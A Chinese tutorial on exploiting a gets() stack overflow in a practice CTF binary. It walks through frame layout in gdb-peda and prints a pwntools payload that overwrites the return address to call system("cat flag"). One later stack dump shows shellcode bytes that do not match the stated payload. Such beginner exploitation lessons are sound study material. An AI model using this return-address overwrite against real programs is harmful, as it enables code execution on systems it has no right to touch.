上一篇文章是通过数组越界覆盖结构体中其他成员内存,达到修改该成员的值的目的,接下来将使用第二种方法获取 flag,就是使用数组越界覆盖函数的返回地址,达到控制函数执行流程的目的。
函数栈的变化
这一次需要使用的编译参数是 gcc -g -O0 -fno-stack-protector -o vuln main.c
,fno-stack-protector
是禁用编译器的栈保护机制,毕竟是入门。需要提前学习的是 https://zhuanlan.zhihu.com/p/25816426 里面的背景知识,明白函数调用过程中栈的变化。
总结一下
-
调用其他函数:
- 参数进栈(当然后面会发现,x64 下面会优先使用寄存器传参数的)
- 下一条指令地址进栈
-
进入函数:
- 当前栈基地址压栈(当前栈基地址实际上也是前一个函数的栈基地址)
比如代码
int add(int a, int b){
return a + b;
}
int main(){
int a = 1;
int b = 2;
add(a, b);
return 0;
}
得到的汇编是这样的
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x00000000004004ea <+0>: push rbp
0x00000000004004eb <+1>: mov rbp,rsp
# 栈顶提高 16 个字节 |rbp|........|rsp| -> 内存地址减小方向
0x00000000004004ee <+4>: sub rsp,0x10
# 在栈上放了两个数字,占用了 8 个字节
# |rbp| 2 | 1 | ... |rsp|
0x00000000004004f2 <+8>: mov DWORD PTR [rbp-0x8],0x1
0x00000000004004f9 <+15>: mov DWORD PTR [rbp-0x4],0x2
# 把两个数字给寄存器
0x0000000000400500 <+22>: mov edx,DWORD PTR [rbp-0x4]
0x0000000000400503 <+25>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000400506 <+28>: mov esi,edx
0x0000000000400508 <+30>: mov edi,eax
# 函数调用,其实相当于 push 下一条指令地址,然后跳转到 add 函数那里
0x000000000040050a <+32>: call 0x4004d6 <add>
# eax 在这里保存返回值的值
0x000000000040050f <+37>: mov eax,0x0
# leave 相当于 mov rsp,rbp; pop rbp
# 这个函数的栈相当于清空了
0x0000000000400514 <+42>: leave
0x0000000000400515 <+43>: ret
End of assembler dump.
gdb-peda$ pdisas add
Dump of assembler code for function add:
# 保存 main 函数的栈底地址
0x00000000004004d6 <+0>: push rbp
# rbp = rsp 当前函数的栈底地址等于栈顶地址,相当于创建了一个新的空栈
0x00000000004004d7 <+1>: mov rbp,rsp
# 寄存器中的值放到栈里面,然后放到运算的寄存器中
0x00000000004004da <+4>: mov DWORD PTR [rbp-0x4],edi
0x00000000004004dd <+7>: mov DWORD PTR [rbp-0x8],esi
0x00000000004004e0 <+10>: mov edx,DWORD PTR [rbp-0x4]
0x00000000004004e3 <+13>: mov eax,DWORD PTR [rbp-0x8]
# 加法
0x00000000004004e6 <+16>: add eax,edx
# pop rbp,其实这个函数中栈里面并没有新增的数据
0x00000000004004e8 <+18>: pop rbp
0x00000000004004e9 <+19>: ret
End of assembler dump.
使用上篇文章的代码生成的汇编会更复杂,但是暂时这些就够了。
使用 peda 查看栈和寄存器数据
gdb ./vuln
然后 b 21
在 gets(student.name);
后面下断点,r
运行,输入 1925
和 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
之后可以看到 peda 的输出分为几部分,分为 registers
、code
和 stack
,分别是寄存器、汇编代码和栈数据分布。
gdb-peda$ b 21
Breakpoint 1 at 0x40072e: file main.c, line 21.
gdb-peda$ r
Starting program: /home/virusdefender/Desktop/pwn/new/vuln
What's Your Birth?
1925
What's Your Name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe2f0 ('A' <repeats 63 times>)
RBX: 0x0
RCX: 0x7ffff7dd18e0 --> 0xfbad2288
RDX: 0x7ffff7dd3790 --> 0x0
RSI: 0x60245f --> 0xa ('\n')
RDI: 0x7fffffffe32f --> 0x785ffffe46300
RBP: 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
RIP: 0x40072e (<main+120>: mov eax,DWORD PTR [rbp-0xc])
R8 : 0x602460 --> 0x0
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x4141414141414141 ('AAAAAAAA')
R11: 0x246
R12: 0x4005c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400721 <main+107>: mov rdi,rax
0x400724 <main+110>: mov eax,0x0
0x400729 <main+115>: call 0x400590 <gets@plt>
=> 0x40072e <main+120>: mov eax,DWORD PTR [rbp-0xc]
0x400731 <main+123>: mov esi,eax
0x400733 <main+125>: mov edi,0x400855
0x400738 <main+130>: mov eax,0x0
0x40073d <main+135>: call 0x400560 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
0008| 0x7fffffffe2e8 --> 0x1ff000000
0016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
0024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
0032| 0x7fffffffe300 ('A' <repeats 47 times>)
0040| 0x7fffffffe308 ('A' <repeats 39 times>)
0048| 0x7fffffffe310 ('A' <repeats 31 times>)
0056| 0x7fffffffe318 ('A' <repeats 23 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
21 printf("You Are Born In %d\n", student.birth);
gdb-peda$ p &student
$1 = (struct Student *) 0x7fffffffe2f0
gdb-peda$ p sizeof(student)
$2 = 0x48
register 中可以看到 RBP: 0x7fffffffe340
、RSP: 0x7fffffffe2e0
和 RIP: 0x40072e
,在 stack 中可以看到这两个地址之间的数据,当然空间原因显示的并不全,可以使用 telescope 16
查看更多的栈内存。
gdb-peda$ p $rbp
$6 = (void *) 0x7fffffffe340
gdb-peda$ p $rsp
$7 = (void *) 0x7fffffffe2e0
gdb-peda$ telescope 16
0000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
0008| 0x7fffffffe2e8 --> 0x1ff000000
0016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
0024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
0032| 0x7fffffffe300 ('A' <repeats 47 times>)
0040| 0x7fffffffe308 ('A' <repeats 39 times>)
0048| 0x7fffffffe310 ('A' <repeats 31 times>)
0056| 0x7fffffffe318 ('A' <repeats 23 times>)
0064| 0x7fffffffe320 ('A' <repeats 15 times>)
0072| 0x7fffffffe328 --> 0x41414141414141 ('AAAAAAA')
0080| 0x7fffffffe330 --> 0x785ffffe463
0088| 0x7fffffffe338 --> 0x0
0096| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15)
0104| 0x7fffffffe348 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0112| 0x7fffffffe350 --> 0x0
0120| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
然后可以简单得到 student
的内存的范围,0x7fffffffe2f0 - 0x7fffffffe338
就是在栈中。0032| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15)
也印证了这一点,这样 0x7fffffffe340
地址的数据就很明显是 main 函数的 rbp,0x7fffffffe348
的数据就是 main 函数的下一句指令的地址。
控制函数流程
只要把 system("cat flag");
的地址写入到 0x7fffffffe348
就可以了,这个地址可以从 pdisas main
汇编代码中看到
0x0000000000400756 <+160>: mov edi,0x40087e
0x000000000040075b <+165>: mov eax,0x0
0x0000000000400760 <+170>: call 0x400550 <system@plt>
而 0x40087e
处就是 system
的参数
gdb-peda$ x 0x40087e
0x40087e: "cat flag"
所以要覆盖成的指令地址就是 0x0000000000400756
,而不能是 0x0000000000400760
,否则函数取到的参数可能是错误的。
思考:这个地址是在内存哪个区域?是栈区么?这个地址会变么?
payload 是
from pwn import *
print "1925\n" + "A" * (0x7fffffffe348 - 0x7fffffffe2f0) + p64(0x0000000000400756)
这里使用了 pwntools 库,p64 函数的作用就是把一个数字转换为内存中分布的形式
>>> p64(0xdeadbeef)
'\xef\xbe\xad\xde\x00\x00\x00\x00'
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
THIS_IS_FLAG
[1] 78848 bus error (core dumped) ./vuln < 1.in
运行后虽然能成功的打印出 flag,但是最后进程会 crash,是因为 main 函数的栈底地址被我们覆盖了,如果要避免崩溃,还是需要精细的维护堆栈平衡的。
使用 GDB b 29
,也就是最后的 return 0
gdb-peda$ b 29
Breakpoint 1 at 0x40077b: file main.c, line 29.
gdb-peda$ r < 1.in
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < 1.in
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
[----------------------------------registers-----------------------------------]
RAX: 0x1b
RBX: 0x0
RCX: 0x7ffff7b04290 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("You Speed One Second Here.\n")
RDI: 0x1
RBP: 0x7fffffffe340 ("AAAAAAAA\360\342\377\377\377\177")
RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
RIP: 0x40077b (<main+197>: mov eax,0x0)
R8 : 0x2e6572654820646e ('nd Here.')
R9 : 0x1b
R10: 0x0
R11: 0x246
R12: 0x4005c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40076c <main+182>: call 0x400540 <puts@plt>
0x400771 <main+187>: mov edi,0x400896
0x400776 <main+192>: call 0x400540 <puts@plt>
=> 0x40077b <main+197>: mov eax,0x0
0x400780 <main+202>: leave
0x400781 <main+203>: ret
0x400782: nop WORD PTR cs:[rax+rax*1+0x0]
0x40078c: nop DWORD PTR [rax+0x0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
0008| 0x7fffffffe2e8 --> 0x1ff000000
0016| 0x7fffffffe2f0 --> 0x6e69622fbb48f631
0024| 0x7fffffffe2f8 ("//shVST_j;X1\322\017\005", 'A' <repeats 65 times>, "\360\342\377\377\377\177")
0032| 0x7fffffffe300 --> 0x41050fd231583b6a
0040| 0x7fffffffe308 ('A' <repeats 64 times>, "\360\342\377\377\377\177")
0048| 0x7fffffffe310 ('A' <repeats 56 times>, "\360\342\377\377\377\177")
0056| 0x7fffffffe318 ('A' <repeats 48 times>, "\360\342\377\377\377\177")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:29
29 return 0;
然后输入 ni
一直回车,注意观察 code
区域,就可以进行汇编指令级别的单步调试。
思考题答案:
- 内存会分为很多块区域,比如数据段、代码段等,二进制文件中的指令是存储在代码段的
- 一般情况下代码段的地址就是确定的,即使开启了 ASLR,更详细的后面会说到。